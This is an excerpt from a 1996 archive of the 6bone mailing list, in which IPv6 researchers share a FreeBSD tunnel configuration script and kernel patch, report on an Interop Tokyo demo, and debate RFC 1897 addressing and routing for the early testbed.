private part of Merit ipv6 testbed network, we may use one of
private AS numbers.

FYI: Here is our /etc/rc.ipv6 on a INRIA ipv6 freebsd machine.
Plese note if you have more than two interfaces, you have to add
"options MULTI_HOMED" and "pseudo-device llink" in your kernel
configuration in this release. And also, in order to use lnc and
ep devices under ipv6, you have to modify these driver source
codes.

#! /bin/sh
autoconf6 -v
ifconfig lnc0 inet6 5f00:ed00:c66c:3c00::153 prefixlen 80 alias
ifconfig lnc0 inet6 first 5f00:ed00:c66c:3c00::153 prefixlen 80
ifconfig ep0 inet6 5f00:ed00:c0a8:0c00::153/80 prefixlen 80 alias
ifconfig ep0 inet6 first 5f00:ed00:c0a8:0c00::153/80 prefixlen 80
sysctl -w net.inet6.ipv6.forwarding=1
ndpd-router
route -n add -inet6 -net 5f00:ed00:c0a8:0a00::/80 ::192.168.10.103

The last line is making a configured tunnel to 192.168.10.103
which is on 5f00:ed00:c0a8:0a00::/80.

Masaki Hirabaru
Merit

*** in.c.orig   Sat Jul 22 23:38:11 1995
--- in.c        Wed Jul 24 15:10:35 1996
***************
*** 209,220 ****
--- 209,222 ----
                                    ifra->ifra_addr.sin_addr.s_addr)
                                        break;
                        }
+ #ifndef INET6
                        if ((ifp->if_flags & IFF_POINTOPOINT)
                            && (cmd == SIOCAIFADDR)
                            &&
(ifra->ifra_dstaddr.sin_addr.s_addr
                                == INADDR_ANY)) {
                                return EDESTADDRREQ;
                        }
+ #endif
                }
                if (cmd == SIOCDIFADDR && ia == 0)
                        return (EADDRNOTAVAIL);

From majordom@ISI.EDU  Wed Jul 31 04:54:09 1996
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	id KAA12257; Tue, 30 Jul 1996 10:54:09 GMT
To: 6bone@isi.edu, IPv6Imp@munnari.oz.au
Cc: v6@wide.ad.jp
Subject: SSD v6 at N+I tokyo
X-Mailer: Mew version 1.06 on Emacs 19.28.2, Mule 2.3
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Date: Tue, 30 Jul 1996 19:54:09 +0900
Message-Id: <12254.838724049@mine.aist-nara.ac.jp>
From: Kazuhiko Yamamoto =?ISO-2022-JP?B?GyRCOzNLXE9CSScbKEI=?=  <kazu@is.aist-nara.ac.jp>
Sender: owner-6bone@ISI.EDU
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Status: RO

Hi all,

I would like to report a big success of "Solution Showcase
Demonstration" at NetWorld+Interop 96 Tokyo. As you know, we WIDE
project opened one booth for IPv6 at SSD area through 7/24 to 7/26 at
Makuhari messe, Japan.

Four companies(Hitachi, SEI, Fujitsu, and DEC) and two
universities(NAIST, Keio) got together to show their own
implementations. We demonstrated:
	1) 6bone connectivity with Web
	2) IPv4 and IPv6 interaction(dual stack and translator) with NV
	3) Plug and Play

From majordom@ISI.EDU  Wed Jul 31 04:06:09 1996
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To: masaki@merit.edu
Cc: 6bone@isi.edu
Subject: Re: How to configure a tunnel 
In-Reply-To: Your message of "Mon, 22 Jul 1996 13:16:39 -0400"
References: <199607221716.NAA24245@home.merit.edu>
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Date: Tue, 30 Jul 1996 19:06:09 +0900
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From: Kazuhiko Yamamoto =?ISO-2022-JP?B?GyRCOzNLXE9CSScbKEI=?=  <kazu@is.aist-nara.ac.jp>
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Sorry for my late response. I have been stacked in Interop Tokyo.

From: Masaki Hirabaru <masaki@merit.edu>
Subject: Re: How to configure a tunnel 
Date: Mon, 22 Jul 1996 13:16:39 -0400

> > Hi. I'd like to know how to configure a tunnel to 6bone or which
> > implementation freely available supports configured tunneling.
> 
> The answers are:
> INRIA, NRL, and Linux versions support configured tunneling.
> Solaris version seems not to support it now.
> 
> So, I'm going to figure out how to configure it under INRIA
> version we've currently installed. I'm asking Francis Dupont.

Gee. Why don't you, a member of WIDE project, use one of WIDE
implementations? Actually Nara implementation provides a good and
generic tunneling model. Currently you can make a tunnel for v6 in v6,
v6 in v4, v4 in v6, v4 in v4 and I will support ESP and AH soon.

If you have BSD/OS 2.0, please let me know. Mr. Shima will port the
BSD/OS version to FreeBSD soon.

--Kazu

From majordom@ISI.EDU  Tue Jul 30 01:32:48 1996
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To: Kazuhiko Yamamoto =?ISO-2022-JP?B?GyRCOzNLXE9CSScbKEI=?=  <kazu@is.aist-nara.ac.jp>
From: Bob Hinden <hinden@ipsilon.com>
Subject: Re: [IPv6Imp] SSD v6 at N+I tokyo
Cc: 6bone@ISI.EDU, IPv6Imp@munnari.OZ.AU, v6@wide.ad.jp
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Kazu,

>I would like to report a big success of "Solution Showcase
>Demonstration" at NetWorld+Interop 96 Tokyo. As you know, we WIDE
>project opened one booth for IPv6 at SSD area through 7/24 to 7/26 at
>Makuhari messe, Japan.

Congratulations to all involved!  Very nice work!

Bob



From majordom@ISI.EDU  Tue Jul 30 10:05:26 1996
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Date: Tue, 30 Jul 1996 14:05:26 -0400
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Hello,
  Does anyone know where I can get a Linux implementation of IPv6?  If
possible, I would like to run a SUN SPARC version of Linux with ipv6.
Thanks for your help.

-- 
===============================================================
Tom Nepsee                            nepsee@bnl.gov
Network Services                      (516) 344-3886
Brookhaven National Laboratory
===============================================================

From majordom@ISI.EDU  Tue Jul 30 20:39:48 1996
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To: Kazuhiko Yamamoto =?ISO-2022-JP?B?GyRCOzNLXE9CSScbKEI=?=    <kazu@is.aist-nara.ac.jp>
Cc: 6bone@ISI.EDU, IPv6Imp@munnari.oz.au, v6@wide.ad.jp
Subject: Re: SSD v6 at N+I tokyo 
In-Reply-To: Your message of "Tue, 30 Jul 96 19:54:09 +0900."
             <12254.838724049@mine.aist-nara.ac.jp> 
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REally good job and progress.  I wonder if NV app can be an app we can
use as a means to show IPv6 worldwide?

/jim

From majordom@ISI.EDU  Wed Jul 31 22:56:13 1996
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To: bound@zk3.dec.com
Cc: 6bone@isi.edu, IPv6Imp@munnari.oz.au, v6@wide.ad.jp
Subject: Re: SSD v6 at N+I tokyo 
In-Reply-To: Your message of "Wed, 31 Jul 96 00:39:48 -0400"
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From: Kazuhiko Yamamoto =?ISO-2022-JP?B?GyRCOzNLXE9CSScbKEI=?=  <kazu@is.aist-nara.ac.jp>
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Jim,

From: bound@zk3.dec.com
Subject: Re: SSD v6 at N+I tokyo 
Date: Wed, 31 Jul 96 00:39:48 -0400

> REally good job and progress.  I wonder if NV app can be an app we can
> use as a means to show IPv6 worldwide?

The reason why we made use of NV is visibility of communication
between v6 and v4. Perhaps telnet or ping are enough to prove
connectivity but they are not appealing to attendees. Please keep in
mind that all attendees are not engineer.

P.S.

Content of NV was Jun Murai... :)

--Kazu

From majordom@ISI.EDU  Tue Jul 30 21:14:36 1996
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Subject: Re: IPv6 for Linux ? 
In-Reply-To: Your message of "Tue, 30 Jul 96 14:05:26 EDT."
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Contact Pedro Roque at roque@di.fc.ul.pt
/jim

From majordom@ISI.EDU  Tue Jul 30 21:20:40 1996
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To: Kazuhiko Yamamoto =?ISO-2022-JP?B?GyRCOzNLXE9CSScbKEI=?=    <kazu@is.aist-nara.ac.jp>
Cc: bound@zk3.dec.com, 6bone@isi.edu, IPv6Imp@munnari.oz.au, v6@wide.ad.jp
Subject: Re: SSD v6 at N+I tokyo 
In-Reply-To: Your message of "Wed, 31 Jul 96 13:56:13 +0900."
             <12837.838788973@mine.aist-nara.ac.jp> 
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Kazu,

>> REally good job and progress.  I wonder if NV app can be an app we can
>> use as a means to show IPv6 worldwide?
>
>The reason why we made use of NV is visibility of communication
>>between v6 and v4. Perhaps telnet or ping are enough to prove
>connectivity but they are not appealing to attendees. Please keep in
>mind that all attendees are not engineer.
>
>P.S.
>
>Content of NV was Jun Murai... :)
>
>--Kazu

I agree.  I am suggesting above we get it ported to all IPv6 platforms.
For the reason you stated.  

/jim


From majordom@ISI.EDU  Thu Aug  1 01:24:53 1996
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To: 6bone@isi.edu, IPv6Imp@munnari.oz.au, v6@wide.ad.jp
Subject: Re: SSD v6 at N+I tokyo 
In-Reply-To: Your message of "Wed, 31 Jul 96 01:20:40 -0400"
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From: bound@zk3.dec.com
Subject: Re: SSD v6 at N+I tokyo 
Date: Wed, 31 Jul 96 01:20:40 -0400

> I agree.  I am suggesting above we get it ported to all IPv6 platforms.
> For the reason you stated.  

Uhhm. Our NV is very ad-hoc, unicast only. We have not implemented
multicast feature because we faced a scope problem for multicast. I'm
planing to submit an I-D to address this issue soon.

Anyway, our NV can be compiled on Nara kernel and yours, Jim.

--Kazu

From majordom@ISI.EDU  Thu Aug  1 04:55:20 1996
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	id KAA13204; Wed, 31 Jul 1996 10:55:20 GMT
To: Bernard.Tuy@urec.fr
Cc: qv@cs.unh.edu, 6bone@isi.edu
Subject: Re: tunnel request
In-Reply-To: Your message of "Sat, 20 Jul 1996 11:31:39 +0200"
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From: Bernard.Tuy@urec.fr
Subject: Re: tunnel request
Date: Sat, 20 Jul 1996 11:31:39 +0200

> |   I can ping UNI-C and G6 tunnel endpoint v4-compatible address but I can't ping
> |   WIDE's tunnel endpoint at ::163.221.11.21 . 

Please keep in mind that IPv6 test address must be used in the
6bone. There is no v4-compatible address in the WIDE 6bone.

--Kazu

From majordom@ISI.EDU  Thu Aug  1 05:12:44 1996
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	id LAA13219; Wed, 31 Jul 1996 11:12:44 GMT
To: bound@zk3.dec.com
Cc: 6bone@isi.edu
Subject: Re: more tunnels and what to do next 
In-Reply-To: Your message of "Sun, 21 Jul 96 20:00:35 -0400"
References: <9607220000.AA00038@fwasted.zk3.dec.com>
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From: Kazuhiko Yamamoto =?ISO-2022-JP?B?GyRCOzNLXE9CSScbKEI=?=  <kazu@is.aist-nara.ac.jp>
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From: <bound@zk3.dec.com>
Subject: Re: more tunnels and what to do next 
Date: Sun, 21 Jul 96 20:00:35 -0400

> So if someone wants to send sipper.pa-x.dec.com an IPv6 packet they must
> go through Europe as opposed to the UNH-BAY-DEC point?  If so that is
> not a good idea???

The WIDE 6bone had been connected to Cisco and NRL before we set up a
tunnel to UNI-C. Ask rja to set up an end point for you.

As I said time to time, we have already drawn a 6bone map with our
best knowledge. Access to "http://www.wide.ad.jp/wg/ipv6/6bone.ps".

It seems to me that no one controls the entire policy. No routing
technology is introduced. I'm very afraid that the 6bone would break
down soon. 

Actually we WIDE project can't manage all routing information even for
the WIDE 6bone so we start rejecting requests from some organizations
in Japan.

I suggest that we should discuss routing protocols as soon as
possible.

--Kazu

From majordom@ISI.EDU  Wed Jul 31 05:58:24 1996
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To: Kazuhiko Yamamoto <kazu@is.aist-nara.ac.jp>
Cc: 6bone@isi.edu
Subject: Re: more tunnels and what to do next 
In-Reply-To: Your message of "Wed, 31 Jul 1996 20:12:44 +0900."
             <13216.838811564@mine.aist-nara.ac.jp> 
X-Copyright: Copyright 1996, Craig Metz, All Rights Reserved.
X-Reposting-Policy: With explicit permission only
Date: Wed, 31 Jul 1996 09:58:24 -0400
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In message <13216.838811564@mine.aist-nara.ac.jp>, you write:
>It seems to me that no one controls the entire policy. No routing
>technology is introduced. I'm very afraid that the 6bone would break
>down soon. 
>
>Actually we WIDE project can't manage all routing information even for
>the WIDE 6bone so we start rejecting requests from some organizations
>in Japan.

	I do not believe that the current set of IPv6 test tunnels is in
any danger of getting to a point where it will "break down soon".

	I believe that it is very easy to sit down and hammer out simple
tools to manage static routing tables of the order of magnitude that you
would currently need to deal with.

>I suggest that we should discuss routing protocols as soon as
>possible.

	Discuss all you want. There's no code.

								-Craig

From majordom@ISI.EDU  Wed Jul 31 05:57:55 1996
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To: Kazuhiko Yamamoto =?ISO-2022-JP?B?GyRCOzNLXE9CSScbKEI=?=    <kazu@is.aist-nara.ac.jp>
Cc: 6bone@isi.edu
Subject: Re: more tunnels and what to do next 
In-Reply-To: Your message of "Wed, 31 Jul 96 20:12:44 +0900."
             <13216.838811564@mine.aist-nara.ac.jp> 
Date: Wed, 31 Jul 96 09:57:55 -0400
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What I think we need to do after configuring this with UNH on the east
coast.  Is determine a way of automating prefix distribution on the
6bone with the tunnel end points.  You should be able to directly send
to UNH which is our leg of the 6bone on the U.S. East coast. And not
have to go through West Coast given the prefix of the node based on RFC
1897.  We should have the East Coast end point up soon.

If we could develop an algorithm to generate the IPv4-Tunnel end point
from the prefix which may be possible using RFC 1897 that would help a
lot.

/jim

From majordom@ISI.EDU  Wed Jul 31 01:41:08 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Wed, 31 Jul 1996 08:41:08 PDT
In-Reply-To: Kazuhiko Yamamoto =?ISO-2022-JP?B?GyRCOzNLXE9CSScbKEI=?=  <kazu@is.aist-nara.ac.jp>
       "Re: more tunnels and what to do next" (Jul 31,  8:12pm)
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To: Kazuhiko Yamamoto =?ISO-2022-JP?B?GyRCOzNLXE9CSScbKEI=?=  <kazu@is.aist-nara.ac.jp>
Subject: Re: more tunnels and what to do next
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Kazu,

  I don't understand why you all are having trouble with routing.  Both
NRL and cisco are keeping full routing tables and not having any problems.
If you can't act as a 6bone backbone router for Japan, then maybe the
hub should be in Europe or North America ?  I'm happy to nail up a tunnel
to pretty much anyone topologically nearby that wants one, including to
other Japanese sites that you are rejecting.

Ran
rja@cisco.com


-- 

From majordom@ISI.EDU  Wed Jul 31 08:37:58 1996
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From: qv@cs.unh.edu (Quaizar Vohra)
Message-Id: <199607311637.MAA22880@agate.cs.unh.edu>
Subject: Re: more tunnels and what to do next
To: bound@zk3.dec.com
Date: Wed, 31 Jul 1996 12:37:58 -0400 (EDT)
Cc: 6bone@isi.edu (6bone m-list)
In-Reply-To: <9607311357.AA22894@fwasted.zk3.dec.com> from "bound@zk3.dec.com" at Jul 31, 96 09:57:55 am
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Hi Jim,
>
>What I think we need to do after configuring this with UNH on the east
>coast.  Is determine a way of automating prefix distribution on the
>6bone with the tunnel end points.  You should be able to directly send
>to UNH which is our leg of the 6bone on the U.S. East coast. And not
>have to go through West Coast given the prefix of the node based on RFC
>1897.  We should have the East Coast end point up soon.
>
>If we could develop an algorithm to generate the IPv4-Tunnel end point
>from the prefix which may be possible using RFC 1897 that would help a
>lot.
>
>/jim
>

Looks like a good idea. How about everyone having 24 bit IPv4 subnets. so that
we have 64 bit prefixes formed from there. Ex 132.177.118.0 is 84b1:7600
when I form a prefix I get 5f02:3000:7600:84b1::/64. Then all can agree that 
some standard last octet can be used to find the v4 address for the 
tunnel endpoint. How abot using the last octet of your autonomous system #
e.g. for us ASN is 0x0230 so the last octet is 0x30 so the the tunnel
endpoint is 132.177.118.48.

This is pretty restrictive though, may be something on similar lines.

Quaizar

-- 
------------------------------------------------------
Quaizar Vohra
Inter-Operatibility Lab. (IOL), Univ. of New Hampshire
E-mail : qv@sun4.iol.unh.edu
Phone : (603)-862-0090


From majordom@ISI.EDU  Wed Jul 31 19:31:53 1996
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Date: Wed, 31 Jul 1996 18:31:53 +0100
Message-Id: <199607311731.SAA10264@oberon.di.fc.ul.pt>
From: Pedro Roque Marques <roque@di.fc.ul.pt>
To: qv@cs.unh.edu (Quaizar Vohra)
Cc: bound@zk3.dec.com, 6bone@ISI.EDU (6bone m-list)
Subject: Re: more tunnels and what to do next
In-Reply-To: <199607311637.MAA22880@agate.cs.unh.edu>
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	<199607311637.MAA22880@agate.cs.unh.edu>
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>>>>> "Quaizar" == Quaizar Vohra <qv@cs.unh.edu> writes:

    Quaizar> Hi Jim,
    >>  What I think we need to do after configuring this with UNH on
    >> the east coast.  Is determine a way of automating prefix
    >> distribution on the 6bone with the tunnel end points.  You
    >> should be able to directly send to UNH which is our leg of the
    >> 6bone on the U.S. East coast. And not have to go through West
    >> Coast given the prefix of the node based on RFC 1897.  We
    >> should have the East Coast end point up soon.
    >> 
    >> If we could develop an algorithm to generate the IPv4-Tunnel
    >> end point from the prefix which may be possible using RFC 1897
    >> that would help a lot.
    >> 
    >> /jim
    >> 

    Quaizar> Looks like a good idea. How about everyone having 24 bit
    Quaizar> IPv4 subnets. so that we have 64 bit prefixes formed from
    Quaizar> there. Ex 132.177.118.0 is 84b1:7600 when I form a prefix
    Quaizar> I get 5f02:3000:7600:84b1::/64. Then all can agree that
    Quaizar> some standard last octet can be used to find the v4
    Quaizar> address for the tunnel endpoint. How abot using the last
    Quaizar> octet of your autonomous system # e.g. for us ASN is
    Quaizar> 0x0230 so the last octet is 0x30 so the the tunnel
    Quaizar> endpoint is 132.177.118.48.

    Quaizar> This is pretty restrictive though, may be something on
    Quaizar> similar lines.

Sorry, but the idea seams terrible.

This way to configure a tunnel you are requiring that end points have
a particular IPv4 address which might be already in use by another
system on your network, no matter what the scheme is. Also you impose
that the is only one tunnel end-point per prefix. Some people already
have more than one (for different tunnels of course), if i'm not
mistaken, and i was planning on doing  the same.

The second point is that i really don't understand what you're trying
to achieve. If we're talking about static configuration here, then all
you need to know is the other end prefix and v4 end-point. As you've
seen the end-point info doesn't add too much space to the prefix list
that you need anyway.

And, as things are today, you can configure unidirectional
links, i.e. configure a tunnel for which the other end point knows
nothing, if you have the prefix and v4 address. Your proposal makes
this even easier to happen, which i don't think is a good idea.

If you ask the DNS, it will happily tell you quad-A records for my
network but i would apreciate that people wouldn't start dumping
packets to my tunnel end-point without prior agreement.

The original question is if packets from A should go to B before
reaching C, C being closer to A. I believe the answer to be: set a
tunnel between A and C and tell B about it.

regards,
  Pedro.

From majordom@ISI.EDU  Wed Jul 31 07:06:29 1996
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <960731050629.ZM10338@rama.imag.fr>
Date: Wed, 31 Jul 1996 05:06:29 +0200
In-Reply-To: rja@cisco.com (Ran Atkinson)
        "Re: more tunnels and what to do next" (Jul 31,  8:41am)
References: <199607311541.IAA25565@puli.cisco.com>
X-Mailer: Z-Mail (4.0b.514 14may96)
To: 6bone@ISI.EDU
Subject: RFC1897 & more tunels
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The question now is how to grow from a 3 nodes 6-bone
to a 10 or 15 nodes 6-bone

Basicaly I see 3 solutions for the very short term

1) an n to n topology. Each node maintains routing tables to the other nodes.
This is what we agreed on at last 6-bone meeting in Montreal. This just won't
scale very well.

2) a star topology. Only the central node has to maintain all routes,
the other just need a default route to it. The drawback is that scheme
create a single point of failure.

3) a mix of the 2 solutions.

In france, the G6-bone is made of 3 islands and will grow to 5 or 6 by the end
of the year. We agreed on a star topology inside the G6-bone with a central
node at imag
(129.88.30.1, 6bone-gw.ipv6.imag.fr, 5f06:b500:8158:1a00:1:0:8158:1a01)

What could be a solution will be to have a small number of core 6-bone nodes
will a complete knowledge of the other core nodes. Typically one for each
country. Then, other folks willing to join will just have to tunnel to the
closest core 6-bone node.

This is not as simple as it sounds. The problem is with the routing
tables. We do not want to manage hundreds of static routes.
The issue is RFC897. It specifies that the address is 5f + ASnumber of the
IPv4 provider + ipv4 address of the network.
This is simple and does not require any registry. But maybe it's too simple.
We can not easily agregate routes that are not for the same AS,
and inside an AS, we can not agregate routes for differents
ipv4 networks that belong to the same institute.

Let me take two examples:

a) inside the G6-bone, we have an island at INRIA. They use 2 ipv4 networks
with very differents numbers. I need two different routes for them.

b) inside the 6-bone. I have asked people to route 5f06:b500::/32 to my
entry point. Fine till now. But if someone inside G6 has a different ISP
tham mine, this will not work anymore.

So maybe it's time to revisit RFC1897.

RFC1897 states:

   | 3 |  5 bits  |  16 bits | 8 |   24 bits  | 8 | 16 bits|48 bits|
   +---+----------+----------+---+------------+---+--------+-------+
   |   |          |Autonomous|   |    IPv4    |   | Subnet | Intf. |
   |010|  11111   |  System  |RES|   Network  |RES|        |       |
   |   |          |  Number  |   |   Address  |   | Address|  ID   |
   +---+----------+----------+---+------------+---+--------+-------+


maybe something more suitable will be:

   | 3 |  5 bits  | 8bits| 16 bits  | 8bits |  24 bits  | 16 bits|48 bits|
   +---+----------+------+----------+-------+-----------+--------+-------+
   |   |          |      |Autonomous|IPv6   |    IPv4   | Subnet | Intf. |
   |010|  11111   |6-bone|  System  |Island |Network    |        |       |
   |   |          |node  |  Number  |Number |  Address  | Address|  ID   |
   +---+----------+-----------------+-------------------+--------+-------+

The "6 bone node" will then be a number attributed to a core 6-bone node.
As there will be very few core 6-bone node, this will be managable.

Then, inside each island, we can attribute island numbers.

Using this scheme, routing table will be very simple.
The n core 6-bone nodes will only need n-1 "external" routes
and m (the number of internal island) "internal" routes.


Then as Jim said, we also need an algorithm to find the ipv4 address
of a tunnel endpoint from it's ipv6 address.
I have a suggestion:
assign a special ipv6 global address for the tunnel endpoint and
put the ipv4 address of the encapsulating interface into the last 32 bits.

Example, my tunnel IPv4 address is: 129.88.26.1 (= 8158:1a01 hexa)
It's IPv6 address is 6bone-gw.ipv6.imag.fr: 5f06:b500:8158:1a00:1:0:8158:1a01
according to RFC1897 and could be 5f01:06b5:0181:581a:0001:0000:8158:1a01
	-> 6-bone node 1
	-> AS 06b5
	-> island number 1
	-> ipv4 network address: 81:581a
	-> subnet address: 0001
	-> interface: 0000:8158:1a01 -> ipv4 tunnel interface 129.88.26.1
according to the scheme I propose.


	- Alain.



-- 
                                                                        ^_^
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^   U  (* *)
Alain DURAND                       |  Preserve keyboards:           |  ( v )
I.M.A.G.                           |     use completion.            |  /~~~\
Direction des Moyens Informatiques |-----------------------------  <|=< IP  >=
BP 53 38041 Grenoble Cedex 9       | E-Mail: Alain.Durand@imag.fr   |  \ v6/
France                             | Phone: +33 76 63 57 03         |   <~~<
Postmaster@imag.fr                 | Fax:   +33 76 51 49 64            ~   ~

From majordom@ISI.EDU  Wed Jul 31 10:42:21 1996
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To: "Alain Durand" <Alain.Durand@imag.fr>
Cc: 6bone@ISI.EDU, hinden@ipsilon.com, postel@ISI.EDU
Subject: Re: RFC1897 & more tunels 
In-Reply-To: Your message of "Wed, 31 Jul 1996 05:06:29 +0200."
             <960731050629.ZM10338@rama.imag.fr> 
X-Copyright: Copyright 1996, Craig Metz, All Rights Reserved.
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Date: Wed, 31 Jul 1996 14:42:21 -0400
From: Craig Metz <cmetz@inner.net>
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In message <960731050629.ZM10338@rama.imag.fr>, you write:
>The question now is how to grow from a 3 nodes 6-bone
>to a 10 or 15 nodes 6-bone

	I believe you are a month too late.

	I am concerned about recent discussions of going and changing address
formats. People are creating problems that don't really exist and then trying
to solve them. The current address syntax is not perfect, but it works fine.

								-Craig

From majordom@ISI.EDU  Wed Jul 31 12:32:35 1996
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From: qv@cs.unh.edu (Quaizar Vohra)
Message-Id: <199607312032.QAA24799@agate.cs.unh.edu>
Subject: Re: more tunnels and what to do next (fwd)
To: 6bone@isi.edu (6bone m-list)
Date: Wed, 31 Jul 1996 16:32:35 -0400 (EDT)
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Dear qv,
From qv Wed Jul 31 14:32:04 1996
Subject: Re: more tunnels and what to do next
To: roque@di.fc.ul.pt (Pedro Roque Marques)
Date: Wed, 31 Jul 1996 14:32:04 -0400 (EDT)
In-Reply-To: <199607311731.SAA10264@oberon.di.fc.ul.pt> from "Pedro Roque Marques" at Jul 31, 96 06:31:53 pm
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>
>>>>>> "Quaizar" == Quaizar Vohra <qv@cs.unh.edu> writes:
>
>    Quaizar> Hi Jim,
>    >>  What I think we need to do after configuring this with UNH on
>    >> the east coast.  Is determine a way of automating prefix
>    >> distribution on the 6bone with the tunnel end points.  You
>    >> should be able to directly send to UNH which is our leg of the
>    >> 6bone on the U.S. East coast. And not have to go through West
>    >> Coast given the prefix of the node based on RFC 1897.  We
>    >> should have the East Coast end point up soon.
>    >> 
>    >> If we could develop an algorithm to generate the IPv4-Tunnel
>    >> end point from the prefix which may be possible using RFC 1897
>    >> that would help a lot.
>    >> 
>    >> /jim
>    >> 
>
>    Quaizar> Looks like a good idea. How about everyone having 24 bit
>    Quaizar> IPv4 subnets. so that we have 64 bit prefixes formed from
>    Quaizar> there. Ex 132.177.118.0 is 84b1:7600 when I form a prefix
>    Quaizar> I get 5f02:3000:7600:84b1::/64. Then all can agree that
>    Quaizar> some standard last octet can be used to find the v4
>    Quaizar> address for the tunnel endpoint. How abot using the last
>    Quaizar> octet of your autonomous system # e.g. for us ASN is
>    Quaizar> 0x0230 so the last octet is 0x30 so the the tunnel
>    Quaizar> endpoint is 132.177.118.48.
>
>    Quaizar> This is pretty restrictive though, may be something on
>    Quaizar> similar lines.
>
>Sorry, but the idea seams terrible.
>
>This way to configure a tunnel you are requiring that end points have
>a particular IPv4 address which might be already in use by another
>system on your network, no matter what the scheme is. Also you impose
>that the is only one tunnel end-point per prefix. Some people already
>have more than one (for different tunnels of course), if i'm not
>mistaken, and i was planning on doing  the same.
>
>The second point is that i really don't understand what you're trying
>to achieve. If we're talking about static configuration here, then all
>you need to know is the other end prefix and v4 end-point. As you've
>seen the end-point info doesn't add too much space to the prefix list
>that you need anyway.
>
>And, as things are today, you can configure unidirectional
>links, i.e. configure a tunnel for which the other end point knows
>nothing, if you have the prefix and v4 address. Your proposal makes
>this even easier to happen, which i don't think is a good idea.
>
>If you ask the DNS, it will happily tell you quad-A records for my
>network but i would apreciate that people wouldn't start dumping
>packets to my tunnel end-point without prior agreement.
>
>The original question is if packets from A should go to B before
>reaching C, C being closer to A. I believe the answer to be: set a
>tunnel between A and C and tell B about it.
>
>regards,
>  Pedro.
>


I agree my idea is terrible.  

The question I think is to reduce the amount of static
configuration. Currently we can live with these, but not for long. But
wait for routing protocols till then.

But I would prefer using prefixes which would aggregate routes in one
region, i.e.  into shorter prefixes. So that people do heirarchial
routing and have less tunnels to configure. I agree that currenlty 6bone
is like mbone, but I hope we don't want it to continue like that for long.

For example here on East coast we can have one single tunnel end-point for
Digital, UNH and Bay and possibly others.

Quaizar

------------------------------------------------------
Quaizar Vohra
Inter-Operatibility Lab. (IOL), Univ. of New Hampshire
E-mail : qv@sun4.iol.unh.edu
Phone : (603)-862-0090



-- 
------------------------------------------------------
Quaizar Vohra
Inter-Operatibility Lab. (IOL), Univ. of New Hampshire
E-mail : qv@sun4.iol.unh.edu
Phone : (603)-862-0090


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Date: Wed, 31 Jul 1996 21:40:27 +0100
Message-Id: <199607312040.VAA10574@oberon.di.fc.ul.pt>
From: Pedro Roque Marques <roque@di.fc.ul.pt>
To: "Alain Durand" <Alain.Durand@imag.fr>
Cc: 6bone@isi.edu
Subject: RFC1897 & more tunels
In-Reply-To: <960731050629.ZM10338@rama.imag.fr>
References: <199607311541.IAA25565@puli.cisco.com>
	<960731050629.ZM10338@rama.imag.fr>
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>>>>> "Alain" == Alain Durand <Alain.Durand@imag.fr> writes:

Hi Alain,

    Alain> So maybe it's time to revisit RFC1897.

One of us has a interpretation problem with 1897.
The way i read it is that it describes a way for automatic assigment
of IPv6 prefixes, it does not limit what you can do with them.

If you have your own prefix you can delegate how much of it to anyone
you wish to. If you own an AS registration you have automatically a
/24 prefix, so you can acomodate up to 2^40 sites and still give them
a /64 prefix.

hope it is enought ;-).

regards,
  Pedro.

From majordom@ISI.EDU  Wed Jul 31 07:02:30 1996
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To: 6bone@isi.edu
Cc: deering@parc.xerox.com
Subject: Re: more tunnels and what to do next (fwd) 
Date: Wed, 31 Jul 1996 14:02:30 PDT
From: Steve Deering <deering@parc.xerox.com>
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Obviously, manual configuration of routes gets unmanageable pretty quickly --
it's only tolerable for a few tens of routes.  Routers in stub subtrees
need not keep all the routes, just the local ones plus default, so we can
can probably tolerate manual config at the edges for some time.  However,
for those more centrally located routers, I think we should exert effort
to get RIPng deployed and working -- that ought to be relatively
straightforward, and in my opinion, a better use of time than tryng to
get agreement on yet another interim addressing plan.

Flat routing with RIPng should suffice for hundreds of routes; beyond that,
we clearly need hierarchical routing, but that should probably also
coincide with moving to "real" addresses, rather than the test addresses.

Steve


From majordom@ISI.EDU  Wed Jul 31 07:11:12 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Wed, 31 Jul 1996 14:11:12 PDT
In-Reply-To: qv@cs.unh.edu (Quaizar Vohra)
       "Re: more tunnels and what to do next (fwd)" (Jul 31,  4:32pm)
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To: qv@cs.unh.edu (Quaizar Vohra)
Subject: Re: more tunnels and what to do next (fwd)
Cc: 6bone@isi.edu
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Quaizar,

  Your tunnel endpoint can contain a "default" (actually 5f00::/8)
route pointing at NRL, a static route for DEC, a static route
for Bay, and any routes needed with UNH.   That is entirely
sufficient to work properly with the 6bone and seems entirely
managable by hand.

  So I don't see the need for any changes to the 1897 specification.

Ran
rja@cisco.com


-- 

From majordom@ISI.EDU  Wed Jul 31 13:20:00 1996
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From: qv@cs.unh.edu (Quaizar Vohra)
Message-Id: <199607312120.RAA25165@agate.cs.unh.edu>
Subject: Re: more tunnels and what to do next (fwd)
To: rja@cisco.com (Ran Atkinson)
Date: Wed, 31 Jul 1996 17:20:00 -0400 (EDT)
Cc: 6bone@isi.edu (6bone m-list)
In-Reply-To: <199607312111.OAA24495@puli.cisco.com> from "Ran Atkinson" at Jul 31, 96 02:11:12 pm
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Hi Ran,
>
>Quaizar,
>
>  Your tunnel endpoint can contain a "default" (actually 5f00::/8)
>route pointing at NRL, a static route for DEC, a static route
>for Bay, and any routes needed with UNH.   That is entirely
>sufficient to work properly with the 6bone and seems entirely
>managable by hand.
>
>  So I don't see the need for any changes to the 1897 specification.
>
>Ran
>rja@cisco.com
>
>
>-- 
>

That's what I am currently doing and it works, but as Alain pointed 
out that we don't want a star topology. I agree fully with Alain's
idea which has always been my chant, i.e. do heirachial routing.

Quaizar


From majordom@ISI.EDU  Wed Jul 31 08:00:19 1996
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To: qv@cs.unh.edu (Quaizar Vohra)
Cc: 6bone@isi.edu, deering@parc.xerox.com
Subject: Re: more tunnels and what to do next (fwd) 
In-Reply-To: qv's message of Wed, 31 Jul 96 14:20:00 -0800.
             <199607312120.RAA25165@agate.cs.unh.edu> 
Date: Wed, 31 Jul 1996 15:00:19 PDT
From: Steve Deering <deering@parc.xerox.com>
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> That's what I am currently doing and it works, but as Alain pointed 
> out that we don't want a star topology. I agree fully with Alain's
> idea which has always been my chant, i.e. do heirachial routing.

I think that an approximate star topology, i.e., a small mesh of "backbone"
routers, with individual sites connected as leaves to the nearest one
or two backbone routers, would be just fine for a while.  If you want to
